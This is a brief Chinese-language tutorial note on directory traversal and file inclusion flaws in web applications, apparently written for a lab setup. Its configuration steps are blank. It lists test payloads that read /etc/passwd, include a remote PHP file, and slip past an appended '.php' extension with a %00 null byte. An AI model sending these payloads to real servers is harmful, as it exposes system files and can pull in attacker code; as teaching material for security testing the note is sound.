web目标遍历和文件包含漏洞

配置靶机：

     → 

重启apache服务：

经典测试方法：

•?file=../../../../etc/passwd

•?page=file:///etc/passwd

•?home=main.cgi 

•?page=http://www.a.com/1.php

•http://1.1.1.1/../../../../dir/file.txt 

绕过过滤检测方法

部分服务器防御机制：在路径后面添加.php

破解方法：

1.在路径后添加%00，如：../../../../etc/password%00